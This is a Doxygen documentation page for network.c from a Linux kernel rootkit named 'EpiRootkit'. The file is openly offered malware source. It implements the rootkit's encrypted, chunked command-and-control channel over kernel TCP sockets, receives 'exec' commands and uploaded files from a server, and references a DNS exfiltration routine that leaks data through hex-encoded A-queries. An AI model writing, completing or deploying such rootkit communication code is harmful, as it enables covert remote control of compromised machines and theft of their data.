EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
network.c
Go to the documentation of this file.
1#include "network.h"
2
3#include "upload.h"
4
5/*
6 * Custom communication protocol:
7 * Each message is divided into fixed-size chunks (STD_BUFFER_SIZE).
8 * Each chunk contains:
9 * - [0] : total number of chunks to be received,
10 * - [1] : chunk index (order of sending),
11 * - [2-3] : length of the useful content (2 bytes, big-endian),
12 * - [4-N] : encrypted chunk data,
13 * - [last byte] : end-of-transmission indicator (EOT_CODE).
14 * Messages are encrypted before sending and decrypted upon reception.
15 * Chunks are reassembled on the server side according to their index.
16 */
17
18#define EOT_CODE 0x04 // End of transmission code
19#define CHUNK_OVERHEAD 11 // Header size per chunk
20
21// Utility to check if all chunks were received
22static inline bool all_chunks_received(bool *received, size_t count) {
23 for (size_t i = 0; i < count; ++i)
24 if (!received[i])
25 return false;
26 return true;
27}
28
29/*
30 * Formats a string using a variable argument list.
31 * @param fmt: The format string.
32 * @param ap: The variable argument list.
33 * Return: A dynamically allocated string containing the formatted message,
34 * or NULL on failure.
35 */
36static char *vformat_string(const char *fmt, va_list ap) {
37 va_list args_copy;
38 char *formatted;
39 int needed;
40
41 va_copy(args_copy, ap);
42 needed = vsnprintf(NULL, 0, fmt, ap);
43 if (needed < 0) {
44 va_end(args_copy);
45 return NULL;
46 }
47
48 formatted = kzalloc(needed + 1, GFP_KERNEL);
49 if (!formatted) {
50 va_end(args_copy);
51 return NULL;
52 }
53
54 vsnprintf(formatted, needed + 1, fmt, args_copy);
55 va_end(args_copy);
56 return formatted;
57}
58
67int send_to_server(enum Protocol protocol, char *message, ...) {
68 if (protocol == TCP && !get_worker_socket()) {
69 ERR_MSG("send_to_server: socket is not initialized\n");
70 return -EINVAL;
71 }
72
73 // Check if there is only one parameter (the string itself)
74 va_list args;
75 va_start(args, message);
76 if (va_arg(args, char *) == NULL) {
77 va_end(args);
78
79 // It protocol is DNS, send the message directly
80 if (protocol == DNS)
81 return dns_send_data(message, strlen(message));
82
83 // If protocol is TCP, send the raw message
84 return send_to_server_raw(message, strlen(message));
85 }
86 va_end(args);
87
88 va_start(args, message);
89
90 // If there are more parameters, format the message
91 char *formatted_message = vformat_string(message, args);
92 va_end(args);
93
94 if (!formatted_message) {
95 ERR_MSG("send_to_server: failed to format message\n");
96 return -ENOMEM;
97 }
98
99 // If the protocol is DNS, send the formatted message over DNS
100 if (protocol == DNS)
101 return dns_send_data(formatted_message, strlen(formatted_message));
102
103 // Send the formatted message through TCP
104 int ret_code =
105 send_to_server_raw(formatted_message, strlen(formatted_message));
106
107 // Free the formatted message buffer
108 kfree(formatted_message);
109 return ret_code;
110}
111
123int send_to_server_raw(const char *data, size_t len) {
124 struct socket *sock = get_worker_socket();
125 if (!sock)
126 return -EINVAL;
127
128 char *encrypted_msg = NULL;
129 size_t encrypted_len = 0;
130
131 // Encrypt the data before sending
132 if (encrypt_buffer(data, len, &encrypted_msg, &encrypted_len) < 0)
133 return -EIO;
134
135 size_t max_chunk_body = STD_BUFFER_SIZE - CHUNK_OVERHEAD;
136 size_t nb_chunks = DIV_ROUND_UP(encrypted_len, max_chunk_body);
137
138 // Send each chunk individually
139 for (size_t i = 0; i < nb_chunks; ++i) {
140 size_t chunk_len = (i == nb_chunks - 1)
141 ? (encrypted_len - i * max_chunk_body)
142 : max_chunk_body;
143
144 char *chunk = kzalloc(STD_BUFFER_SIZE, GFP_KERNEL);
145 if (!chunk) {
146 ERR_MSG("send_to_server_raw: failed to allocate buffer\n");
147 vfree(encrypted_msg);
148 return -ENOMEM;
149 }
150
151 // total_chunks in big-endian 32 bits
152 uint32_t tc = (uint32_t)nb_chunks;
153 chunk[0] = (uint8_t)((tc >> 24) & 0xFF);
154 chunk[1] = (uint8_t)((tc >> 16) & 0xFF);
155 chunk[2] = (uint8_t)((tc >> 8) & 0xFF);
156 chunk[3] = (uint8_t)((tc >> 0) & 0xFF);
157
158 // chunk_index in big-endian 32 bits
159 uint32_t ci = (uint32_t)i;
160 chunk[4] = (uint8_t)((ci >> 24) & 0xFF);
161 chunk[5] = (uint8_t)((ci >> 16) & 0xFF);
162 chunk[6] = (uint8_t)((ci >> 8) & 0xFF);
163 chunk[7] = (uint8_t)((ci >> 0) & 0xFF);
164
165 // chunk_len in big-endian 16 bits
166 uint16_t cl = (uint16_t)chunk_len;
167 chunk[8] = (uint8_t)((cl >> 8) & 0xFF);
168 chunk[9] = (uint8_t)((cl >> 0) & 0xFF);
169
170 memcpy(chunk + 10, encrypted_msg + i * max_chunk_body, chunk_len);
171 chunk[10 + chunk_len] = EOT_CODE; // End of transmission
172
173 // Send the chunk using kernel socket API
174 struct kvec vec = { .iov_base = chunk, .iov_len = STD_BUFFER_SIZE };
175 struct msghdr msg = { 0 };
176
177 int ret = kernel_sendmsg(sock, &msg, &vec, 1, vec.iov_len);
178 kfree(chunk);
179 if (ret < 0) {
180 vfree(encrypted_msg);
181 return ret;
182 }
183 }
184
185 vfree(encrypted_msg);
186 return 0;
187}
188
200int receive_from_server(char *buffer, size_t max_len) {
201 struct socket *sock = get_worker_socket();
202 if (!sock)
203 return -EINVAL;
204
205 // Const of the frame
206 const size_t FRAME_SIZE_FULL = STD_BUFFER_SIZE;
207 const size_t HEADER_SIZE = 10;
208 const size_t EOT_SIZE = 1;
209 const size_t BODY_SIZE = FRAME_SIZE_FULL - HEADER_SIZE - EOT_SIZE;
210
211 // Statically sized temp buffers
212 char header_buffer[10];
213 char *payloadbuf = kzalloc(STD_BUFFER_SIZE, GFP_KERNEL);
214 if (!payloadbuf) {
215 return -ENOMEM;
216 }
217 char padbuf[10];
218
219 char *received = NULL;
220 bool *seen = NULL;
221 size_t nb_chunks = 0;
222 size_t total_received = 0;
223 int ret = -EIO;
224
225 // Read and assemble all chunks (please pray god)
226 while (true) {
227 int off, n;
228 uint32_t total, index;
229 uint16_t data_len;
230
231 // Read exactly the size of header in bytes
232 off = 0;
233 while (off < HEADER_SIZE) {
234 struct kvec vec = { .iov_base = header_buffer + off,
235 .iov_len = HEADER_SIZE - off };
236 struct msghdr msg = { 0 };
237 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
238 if (n <= 0) {
239 ret = -EIO;
240 goto cleanup;
241 }
242
243 off += n;
244 }
245
246 // Parse the fucking big endian fields
247 total = be32_to_cpu(*(__be32 *)(header_buffer + 0));
248 index = be32_to_cpu(*(__be32 *)(header_buffer + 4));
249 data_len = be16_to_cpu(*(__be16 *)(header_buffer + 8));
250 if (data_len > BODY_SIZE) {
251 ret = -EINVAL;
252 goto cleanup;
253 }
254
255 // Read payload and the EOT
256 off = 0;
257 while (off < (int)(data_len + EOT_SIZE)) {
258 struct kvec vec = { .iov_base = payloadbuf + off,
259 .iov_len = (data_len + EOT_SIZE) - off };
260 struct msghdr msg = { 0 };
261 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
262 if (n <= 0) {
263 ret = -EIO;
264 goto cleanup;
265 }
266 off += n;
267 }
268
269 if ((uint8_t)payloadbuf[data_len] != EOT_CODE) {
270 ret = -EINVAL;
271 goto cleanup;
272 }
273
274 // Discard remaining padding up to FRAME_SIZE_FULL
275 size_t pad = FRAME_SIZE_FULL - (HEADER_SIZE + data_len + EOT_SIZE);
276 while (pad > 0) {
277 size_t rd = pad > HEADER_SIZE ? HEADER_SIZE : pad;
278 struct kvec vec = { .iov_base = padbuf, .iov_len = rd };
279 struct msghdr msg = { 0 };
280 n = kernel_recvmsg(sock, &msg, &vec, 1, rd, 0);
281 if (n <= 0) {
282 ret = -EIO;
283 goto cleanup;
284 }
285 pad -= n;
286 }
287
288 // DEBUG
289 DBG_MSG("CHUNK %u/%u len=%u", index, total, data_len);
290
291 // On first real chunk, allocate the big buffer and the bool buffer
292 if (!received) {
293 nb_chunks = total;
294 received = vmalloc(nb_chunks * BODY_SIZE);
295 seen = kzalloc(nb_chunks * sizeof(bool), GFP_KERNEL);
296 if (!received || !seen) {
297 ret = -ENOMEM;
298 goto cleanup;
299 }
300 }
301
302 // Check the problems
303 if (total != nb_chunks || index >= nb_chunks) {
304 ret = -EINVAL;
305 goto cleanup;
306 }
307
308 if (!seen[index]) {
309 memcpy(received + index * BODY_SIZE, payloadbuf, data_len);
310 seen[index] = true;
311 total_received += data_len;
312 }
313
314 // Exit once we have every chunk (maybe should add a timeout)
315 if (all_chunks_received(seen, nb_chunks))
316 break;
317 }
318
319 kfree(seen);
320 seen = NULL;
321
322 // Decrypt and dispatch
323 char *decrypted = NULL;
324 size_t dlen = 0;
325
326 ret = decrypt_buffer(received, total_received, &decrypted, &dlen);
327 vfree(received);
328 received = NULL;
329 if (ret < 0)
330 goto cleanup;
331
332 // Clamp for text command mode
333 if (!receiving_file && dlen > max_len - 1)
334 dlen = max_len - 1;
335
336 // fuck exec prefix
337 if (dlen >= 4 && !memcmp(decrypted, "exec", 4)) {
338 memcpy(buffer, decrypted, dlen);
339 buffer[dlen] = '\0';
340 ret = dlen;
341 }
342
343 // File upload mode
344 else if (receiving_file) {
345 DBG_MSG("RECEIVING FILE : got %zu bytes", dlen);
346 ret = handle_upload_chunk(decrypted, dlen, TCP);
347 }
348
349 // Otherwise it is the normal text command
350 else {
351 memcpy(buffer, decrypted, dlen);
352 buffer[dlen] = '\0';
353 ret = dlen;
354 }
355
356 vfree(decrypted);
357 return ret;
358
359cleanup:
360 kfree(payloadbuf);
361 kfree(seen);
362 vfree(received);
363 return ret;
364}
int encrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Encrypts a buffer using AES-128 in CBC mode.
Definition aes.c:322
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.
Definition aes.c:335
struct socket * get_worker_socket(void)
Definition socket.c:17
char * message
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
Protocol
Definition config.h:28
@ TCP
Definition config.h:29
@ DNS
Definition config.h:30
#define STD_BUFFER_SIZE
Definition config.h:68
#define EOT_CODE
Definition network.c:18
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
static char * vformat_string(const char *fmt, va_list ap)
Definition network.c:36
int send_to_server_raw(const char *data, size_t len)
Definition network.c:123
int receive_from_server(char *buffer, size_t max_len)
Definition network.c:200
static bool all_chunks_received(bool *received, size_t count)
Definition network.c:22
#define CHUNK_OVERHEAD
Definition network.c:19
int dns_send_data(const char *data, size_t len)
Exfiltrate a data buffer over DNS by hex-chunked A-queries.
Definition dns.c:149
bool receiving_file
Definition upload.c:10
int handle_upload_chunk(const char *data, size_t len, enum Protocol protocol)
Definition upload.c:16